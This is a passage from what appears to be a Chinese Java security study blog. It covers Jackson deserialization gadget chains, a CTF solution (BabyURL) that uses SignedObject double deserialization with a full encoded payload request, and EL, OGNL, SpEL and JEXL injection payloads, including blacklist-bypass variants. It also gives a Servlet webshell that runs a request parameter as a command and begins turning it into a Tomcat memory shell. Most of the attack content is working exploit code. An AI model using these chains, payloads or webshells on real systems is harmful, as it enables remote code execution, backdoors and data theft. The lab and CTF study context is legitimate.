            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
}

完整的代码:

package com;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class AliyunBypassIt {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {

        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\shiroTest");
        CtClass clazzz = pool.get("EvilTest");
        byte[] code = clazzz.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        POJONode node = new POJONode(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setFieldValue(val, "val", node);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(val);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

二次反序列化(2023巅峰极客 BabyURL)

这里用一下大头哥的附件:https://www.yuque.com/attachments/yuque/0/2023/zip/28160573/1689934091638-4a2e9513-6170-4d11-819e-1ff4c4a80322.zip

当年这道题能直接用Bypassit1里那条原生的Jackson反序列化链子打通,不过应该不是预期解,预期解是利用SignedObject实现二次反序列化绕过黑名单。

首先可以看到一个很明显的反序列化接口:

这不过这里它是自己实现的对象输入流,做了一些过滤:

 protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String className = desc.getName();
        String[] denyClasses = new String[]{"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors", "com.yancao.ctf.bean.URLVisiter", "com.yancao.ctf.bean.URLHelper"};
        String[] var4 = denyClasses;
        int var5 = denyClasses.length;

        for(int var6 = 0; var6 < var5; ++var6) {
            String denyClass = var4[var6];
            if (className.startsWith(denyClass)) {
                throw new InvalidClassException("Unauthorized deserialization attempt", className);
            }
        }

        return super.resolveClass(desc);
    }

并且反序列化入口是自己实现的,这个URLHelper,可惜进了黑名单,作用大概就是在对象被反序列化的时候,访问一个 URL,并把访问结果写入 /tmp/file 文件中。:

只不过这个访问做了一个小校验,不过我们只需要用大小写就能绕过了(FILE://),简单来说是一个任意文件读:

上面的东西都进了黑名单,所以打法就是二次反序列化绕过第一次反序列化检验里的黑名单,利用SignObject#getObject

那么如何调用getObject呢?那当然是经典的getter了,当时依赖里有jackson,利用jackson里的BaseJsonNode触发getter,打法有点类似,利用BadAttributeValueExpException#readObject触发POJONode#toString接着触发getter。

提取依赖的方法:

# 解压 jar
mkdir tmp && cd tmp
jar xf ../ctf-0.0.1-SNAPSHOT.jar

# 进入 BOOT-INF/classes 目录
cd BOOT-INF/classes

# 重新打一个标准 jar
jar cf ../../../ctf-lib.jar .

然后代码如下:

import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;

public class BabyUrl {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        URLHelper handler = new URLHelper("File:///flag");
        handler.visiter = new URLVisiter();

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(handler, privateKey, signingEngine);

        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        POJONode node = new POJONode(signedObject);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);

        setFieldValue(val, "val", node);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(val);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
    }
}

用头哥的环境起一个:

docker run -it -d -p 12345:8080 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/dfjk2023_babyurl

这里我直接用chmod 777 /flag了(注意payload需要url编码,在cyberchef里选encode all special chars):

GET /hack?payload=rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAALXQAB0JhYnlVcmx0AAxCYWJ5VXJsLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0%2FA8lMbXsjhACAAFMAARsaXN0cQB%2BAAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AFXhzcgAsY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuUE9KT05vZGUAAAAAAAAAAgIAAUwABl92YWx1ZXEAfgABeHIALWNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlZhbHVlTm9kZQAAAAAAAAABAgAAeHIAMGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLkJhc2VKc29uTm9kZQAAAAAAAAABAgAAeHBzcgAaamF2YS5zZWN1cml0eS5TaWduZWRPYmplY3QJ%2F71oKjzV%2FwIAA1sAB2NvbnRlbnR0AAJbQlsACXNpZ25hdHVyZXEAfgAbTAAMdGhlYWxnb3JpdGhtcQB%2BAAV4cHVyAAJbQqzzF%2FgGCFTgAgAAeHAAAAC4rO0ABXNyAB1jb20ueWFuY2FvLmN0Zi5iZWFuLlVSTEhlbHBlcgAAAAAAAAABAgACTAADdXJsdAASTGphdmEvbGFuZy9TdHJpbmc7TAAHdmlzaXRlcnQAIExjb20veWFuY2FvL2N0Zi9iZWFuL1VSTFZpc2l0ZXI7eHB0AAxGaWxlOi8vL2ZsYWdzcgAeY29tLnlhbmNhby5jdGYuYmVhbi5VUkxWaXNpdGVyTECyy3jST0ACAAB4cHVxAH4AHQAAAC8wLQIVAIGev89CFNeOEwvxshHxaoduhvEHAhRywqBatdVYYiAdDKuZ3djtwWkT%2FXQAA0RTQQ%3D%3D HTTP/1.1
Host: localhost:12345
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

表达式注入

参考evo1ution以及这个黑马SpringMVC教程全套视频教程的入门案例本地搭了一个服务。

EL表达式

EL 表达式(Expression Language,表达式语言)是 Java EE(主要在 JSP 和 JSF 中)引入的一种简洁语法,用来访问数据、调用方法、进行简单逻辑运算。常见于 JSP 页面,用 ${} 包裹表达式。

maven里加个配置:

<dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
      <scope>test</scope>
 </dependency>

然后刷新一下,controller里加一个简单的测试类:

package com.itheima.controller;

public class ELFunc {
    public static String doSomething(String string) {
        return "Hello " + string + " !";
    }
}

然后在WEB-INF目录下创建test.tld

<?xml version="1.0" encoding="UTF-8"?>
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
    <tlib-version>1.0</tlib-version>
    <short-name>ELFunc</short-name>
    <uri>http://localhost:8080/springmvc_01_quickstart_war/ELFunc</uri>
    <function>
        <name>doSomething</name>
        <function-class>com.itheima.controller.ELFunc</function-class>
        <function-signature> java.lang.String doSomething(java.lang.String)</function-signature>
    </function>
</taglib>

最后在webapp目录创一个eltest.jsp:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page isELIgnored="false" %> <%-- 这里是开启EL表达式 --%>
<%@taglib uri="http://localhost:8080/springmvc_01_quickstart_war/ELFunc" prefix="ELFunc"%>
<html>
<head>
    <title>ElTest</title>
</head>
<body>
${ELFunc:doSomething("fushuling")}
</body>
</html>

具体语法参考这个浅析EL表达式注入漏洞,反正经过上面的一通操作,你访问http://localhost:8080/springmvc_01_quickstart_war/eltest.jsp应该就有东西了,这就说明搭好了:

从文章里抄的通用poc:

//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}

//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件头参数
${header}

//获取webRoot
${applicationScope}

//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

比如如果jsp代码里出现了这个poc,就会直接弹计算器,非常的炫酷:

${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

只不过一般而言,我们也没办法直接控制JSP里的EL表达式,目前已知的EL表达式注入漏洞都是框架层面服务端执行的EL表达式外部可控导致的,比如我们下面介绍的这个CVE-2011-2730。

首先装上依赖:

<dependency>
    <groupId>de.odysseus.juel</groupId>
    <artifactId>juel-api</artifactId>
    <version>2.2.7</version>
</dependency>
<dependency>
    <groupId>de.odysseus.juel</groupId>
    <artifactId>juel-spi</artifactId>
    <version>2.2.7</version>
</dependency>
<dependency>
    <groupId>de.odysseus.juel</groupId>
    <artifactId>juel-impl</artifactId>
    <version>2.2.7</version>
</dependency>

CVE-2011-2730 是 Spring Framework 中的一个安全漏洞,影响了早期版本(如 2.5.6.SEC02 及更早版本,以及 3.0.0 至 3.0.5)。该漏洞源于在支持表达式语言(EL)的容器中,某些 Spring 标签(如 <spring:message><spring:bind> 等)中的 EL 表达式被评估了两次,这可能允许攻击者通过精心构造的输入获取敏感信息,如内部服务器信息、类路径、工作目录和会话 ID。

这里我们写一个恶意代码例子:

package com.itheima.controller;

import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;

import javax.el.ExpressionFactory;
import javax.el.ValueExpression;


public class ELShell {
    public static void main(String[] args) {
        ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
        SimpleContext simpleContext = new SimpleContext();
        String shell = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc')}";
        // 利用ScriptEngine调用JS引擎绕过
        // String shell = "${''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")}";
        ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, shell, String.class);
        System.out.println(valueExpression.getValue(simpleContext));
    }
}

OGNL表达式

OGNL(Object-Graph Navigation Language)是一种表达式语言,主要用于在 Java 对象图中读取和设置属性值。它最早用于 WebWork 框架(Struts2 的前身),后来也广泛用于 Struts2 等框架中,支持属性导航、集合操作、调用方法等复杂操作。

OGNL 类似于 EL 表达式(${}),但功能更强:

  • 对象图遍历(object graph navigation)—— 可以通过 person.address.city 一层层取值。
  • 方法调用 —— 可以执行 user.getName()
  • 集合访问 —— 可以访问 users[0].name
  • 静态方法调用 —— 可以调用 @java.lang.Math@random()
  • 运算符支持 —— 可以执行 age > 18 ? 'adult' : 'child'

首先装依赖

<dependency>
      <groupId>ognl</groupId>
      <artifactId>ognl</artifactId>
      <version>2.7.3</version>
    </dependency>

具体语法参考一文读懂OGNL漏洞,常见的用法有:

//访问属性
name
user.name
person.address.city
//调用方法
user.getUsername()
//调用静态方法
@java.lang.Runtime@getRuntime().exec('calc')

比如看到我们下面这个代码示例:

package com.itheima.controller;

import ognl.Ognl;
import ognl.OgnlContext;

import java.util.HashMap;
import java.util.Map;

public class OgnlTest {
    public static void main(String[] args) throws Exception {
        OgnlContext context = new OgnlContext();

        // 普通对象操作
        User user = new User();
        user.setName("塔菲");
        context.put("user", user);

        Object expr1 = Ognl.parseExpression("name");
        System.out.println("user.name: " + Ognl.getValue(expr1, context, user)); // 输出塔菲

        // Map取值
        Map<String, String> map = new HashMap<>();
        map.put("key", "value");
        context.put("map", map);

        Object expr2 = Ognl.parseExpression("#map['key']");
        System.out.println("map.key: " + Ognl.getValue(expr2, context, context.getRoot()));

        // 调用方法
        Object expr3 = Ognl.parseExpression("'hello'.toUpperCase()");
        System.out.println(Ognl.getValue(expr3, context, context.getRoot())); // 输出:HELLO

        // 命令执行演示
        Object expr4 = Ognl.parseExpression(
                "@java.lang.Runtime@getRuntime().exec('calc.exe')"
        );
        Ognl.getValue(expr4, context, context.getRoot());
    }

    public static class User {
        private String name;
        public String getName() { return name; }
        public void setName(String name) { this.name = name; }
    }
}

一些常用的payload:

// 获取 Context 里面的变量.
 #user
 #user.name

// 使用 Runtime 执行系统命令.
@java.lang.Runtime@getRuntime().exec("open -a Calculator")


// 使用 Processbuilder 执行系统命令.
(new java.lang.ProcessBuilder(new java.lang.String[]{"open", "-a", "Calculator"})).start()

// 获取当前路径.
@java.lang.System@getProperty("user.dir")

只不过Ognl>=3.1.25、Ognl>=3.2.12配置了黑名单检测,主要是在 OgnlRuntime.invokeMethod 中,添加了黑名单断,包括大部分可以用于命令执行的类:OgnlContextRuntimeClassLoaderProcessBuilder等等,所以就打不通了。

SPEL表达式

SpEL(Spring Expression Language)是 Spring Framework 提供的一种强大的表达式语言,它支持在运行时查询和操作对象图。SpEL 通常用于配置文件、注解和 Spring Bean 定义中,例如用于条件判断、动态赋值、调用方法等。

SpEL 的基本语法格式是${ expression },表达式写在 #{} 中,Spring 会在运行时解析它,SpEL 支持的功能包括:

功能示例说明
字面值#{123}, #{'hello'}支持数字、字符串、布尔
访问对象属性#{person.name}访问 Bean 的属性
调用方法#{person.getName()}运行时调用对象方法
算术运算#{1 + 2}, #{price * 0.9}支持 + - * / %
逻辑运算#{age > 18}, #{flag && !done}比较和布尔逻辑
三元表达式#{age > 18 ? 'adult' : 'child'}条件判断
集合操作#{list[0]}, #{map['key']}支持下标访问
安全导航#{user?.name}避免 NullPointerException
Bean 引用#{@myBean.someProperty}注入 Spring Bean
反射调用类方法#{T(java.lang.Math).random()}T() 调用静态类方法
正则匹配#{name matches '[A-Z].*'}字符串正则匹配
构造对象#{new java.util.Date()}创建 Java 对象

这里的T中的内容会被解析为对应的类:

package com.itheima.controller;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class SpelTest {
    public static void main(String[] args) {
        String cmdStr = "T(java.lang.String)";
        ExpressionParser parser = new SpelExpressionParser();//创建解析器
        Expression exp = parser.parseExpression(cmdStr);//解析表达式
        System.out.println(exp.getValue());//输出对应的类
    }
}

自然我们也可以想到把他解析成 java.lang.Runtime,这样就有RCE了。这里就无耻的抄袭大b哥的博客了: SPEL表达式注入总结及回显技术,看完就等于我学会了。

// PoC原型

// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")

// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()

******************************************************************************
// Bypass技巧

// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))

// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)

// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)

// JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)

// 黑名单过滤".getClass(",可利用数组的方式绕过,还未测试成功
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')

// JDK9新增的shell,还未测试
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

JEXL3表达式

JEXL(Java Expression Language)是 Apache Commons 提供的一个 Java 表达式语言库,JEXL3 是它的第三代实现,提供了类似 Java 语法的表达式解析和执行功能,常用于规则引擎、模板渲染、脚本执行等场景。JEXL 表达式是一种 简化版的 Java 语法表达式,它运行在 Java 虚拟机上,可以访问变量、调用方法、运算等,使用步骤一般是:

  • 由 JEXL 引擎解析并执行表达式。
  • 创建上下文(Context)并设置变量;
  • 编写表达式;

先加一下依赖:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-jexl3</artifactId>
    <version>3.0</version>
</dependency>

详细的文章推荐这一篇:Nexus Repository Manager3 JEXL3表达式注入浅析,写个简单的小demo看看:

package com.itheima.controller;

import org.apache.commons.jexl3.*;

public class JexlDemo {
    public static void main(String[] args) {
        // 创建 JEXL 引擎
        JexlEngine jexl = new JexlBuilder().create();

        // 定义表达式
        String expr = "user.name + ' 的年龄是 ' + user.age";

        // 创建表达式对象
        JexlExpression jexlExpr = jexl.createExpression(expr);

        // 设置上下文变量
        JexlContext context = new MapContext();
        context.set("user", new User("塔菲", 18));

        // 执行表达式
        Object result = jexlExpr.evaluate(context);
        System.out.println(result); // 输出:塔菲 的年龄是 18
    }

    public static class User {
        public String name;
        public int age;

        public User(String name, int age) {
            this.name = name;
            this.age = age;
        }
    }
}

可以想见,既然他是简化版的Java语法表达式,自然也是可以直接执行命令的:

package com.itheima.controller;

import org.apache.commons.jexl3.*;

public class JexlTest {
    public static void main(String[] args) {
        String Exp = "233.class.forName('java.lang.Runtime').getRuntime().exec('calc')";

        JexlEngine engine = new JexlBuilder().create();
        JexlExpression Expression = engine.createExpression(Exp);

        JexlContext Context = new MapContext();

        Object rs = Expression.evaluate(Context);
        System.out.println(rs);
    }
}

内存马

Java 内存马(Memory Shell) 是一种高级持久化攻击技术,它不依赖于磁盘文件,而是通过代码动态注入、类加载器、反射、字节码操作等方式,将恶意代码直接“挂载”到运行中的 Java 应用程序内存中,从而实现持久控制和命令执行。

简单来说,内存马是在不落地写文件的情况下,把后门隐藏在内存中,通常挂在 Web 容器(如 Tomcat、Spring、Jetty)内部的特定执行链路上,核心原理有下面几个:

  • Java 动态性:Java 允许运行时加载类(如 defineClass),甚至修改现有类的行为。
  • 类加载器(ClassLoader)机制:攻击者可将恶意类加载进 JVM,加入已有的类加载链。
  • 反射与 Unsafe:可以突破访问控制,修改不可访问字段、注册组件。
  • Web 容器执行链劫持:通过修改 FilterServletListener 等组件行为,实现控制流劫持。
  • 恶意组件注入:注入恶意的 Filter / Servlet 等,成为“马”。

常见的内存马有这四种,目前也就先学这四种了:

类型简介挂载方式
Filter型 内存马注册恶意 Filter 拦截请求FilterRegistrationBean 动态注册或反射
Servlet型 内存马注册恶意 Servlet 处理路径反射修改 ServletContext
Listener型 内存马注册监听器执行恶意代码添加监听器对象
Agent型 内存马使用 Instrumentation 动态修改类字节码Java Agent attach 自注入
Valve型 内存马注册自定义 Valve,实现对请求的底层拦截和处理通过反射获取 StandardContext 或 Engine,调用pipeline.addValve() 动态注册

Servlet型内存马

Servlet 是 Java EE(现 Jakarta EE)中的一个用于处理请求并生成响应的服务端组件,本质上是运行在 Web 服务器(如 Tomcat)中的 Java 类,专门用于响应 HTTP 请求,通常用来构建动态网页。简单来说,Servlet 是一种用于扩展服务器功能、专门处理 Web 请求(如 HTTP)的 Java 程序,运行在 Servlet 容器中。

这里我们写一个ServletDemo.java(上一章的时候想必大伙已经学会了如何用tomcat搭建一个简单的web服务):

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

// 通过注解配置路由路径,访问 http://localhost:8080/你的项目名/bkfish 会触发这个 Servlet
@WebServlet("/bkfish")
public class ServletDemo implements Servlet {

    /**
     * Servlet 被创建时调用,只执行一次。
     * 通常用于初始化资源(如数据库连接、文件、缓存等)。
     */
    @Override
    public void init(ServletConfig config) throws ServletException {
        System.out.println("init - Servlet 初始化");
    }

    /**
     * 每次有请求访问这个 Servlet 时,都会调用 service() 方法。
     * 所有的业务逻辑、请求处理、响应输出都应写在这里。
     */
    @Override
    public void service(ServletRequest request, ServletResponse response)
            throws ServletException, IOException {
        System.out.println("service - 处理请求");

        // 设置响应内容类型(否则浏览器可能乱码)
        response.setContentType("text/html;charset=UTF-8");

        // 获取输出流,写回浏览器
        response.getWriter().write("<h1>你好,塔菲!Servlet 运行成功!</h1>");
    }

    /**
     * 当 Servlet 被销毁时调用(如项目重启、服务器关闭)。
     * 通常用于资源释放(如关闭数据库连接、线程池等)。
     */
    @Override
    public void destroy() {
        System.out.println("destroy - Servlet 销毁");
    }

    /**
     * 获取 Servlet 的配置信息(较少使用,一般用不到)。
     */
    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    /**
     * 获取 Servlet 的描述信息(可用于文档/日志,一般用不到)。
     */
    @Override
    public String getServletInfo() {
        return "这是一个简单的 Servlet 示例";
    }
}

Servlet的生命周期如下:

生命周期阶段对应方法触发时机
初始化init()第一次请求 Servlet 时由容器自动调用,只执行一次
请求处理service()每次请求都会执行一次(可处理所有请求类型)
销毁destroy()应用关闭、重启或容器卸载 Servlet 时调用,只执行一次

当我们访问bkfish这个接口的时候,日志如下:

当我们关闭tomcat,就会显示摧毁:

这样我们就简单的走了一遍 Servlet 的工作流程,大致明白它是怎么个事儿。

那么现在如果我们想执行恶意代码,自然而然就会想到在service方法里写入代码,比如写一个马:

package com.itheima.controller;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

// 通过注解配置路由路径,访问 http://localhost:8080/你的项目名/bkfish  会触发这个 Servlet
@WebServlet("/bkfish")
public class ServletDemo implements Servlet {

    /**
     * Servlet 被创建时调用,只执行一次。
     * 通常用于初始化资源(如数据库连接、文件、缓存等)。
     */
    @Override
    public void init(ServletConfig config) throws ServletException {
        System.out.println("init - Servlet 初始化");
    }

    /**
     * 每次有请求访问这个 Servlet 时,都会调用 service() 方法。
     * 所有的业务逻辑、请求处理、响应输出都应写在这里。
     */
    @Override
    public void service(ServletRequest request, ServletResponse response)
            throws ServletException, IOException {
        System.out.println("service - 处理请求");

        String cmd = request.getParameter("cmd");
        if (cmd!= null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            response.getOutputStream().write(stringBuilder.toString().getBytes());
            response.getOutputStream().flush();
            response.getOutputStream().close();
            return;
        }
    }

    /**
     * 当 Servlet 被销毁时调用(如项目重启、服务器关闭)。
     * 通常用于资源释放(如关闭数据库连接、线程池等)。
     */
    @Override
    public void destroy() {
        System.out.println("destroy - Servlet 销毁");
    }

    /**
     * 获取 Servlet 的配置信息(较少使用,一般用不到)。
     */
    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    /**
     * 获取 Servlet 的描述信息(可用于文档/日志,一般用不到)。
     */
    @Override
    public String getServletInfo() {
        return "这是一个简单的 Servlet 示例";
    }
}

加一个依赖:

<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.85</version>
    <scope>provided</scope>
</dependency>

参考https://www.viewofthai.link/2022/07/20/servlet%e5%9e%8b%e5%86%85%e5%ad%98%e9%a9%ac/,把它变成一个SevletShell.jsp,而这其实是注入了一个内存马:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext"%>
<%@ page import = "org.apache.catalina.core.StandardContext"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "java.io.IOException"%>
<%@ page import = "java.lang.reflect.Field"%>

<%
    class ServletDemo implements Servlet{
        @Override
        public void init(ServletConfig config) throws ServletException {}
        @Override
        public String getServletInfo() {return null;}
        @Override
        public void destroy() {}    public ServletConfig getServletConfig() {return null;}

        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
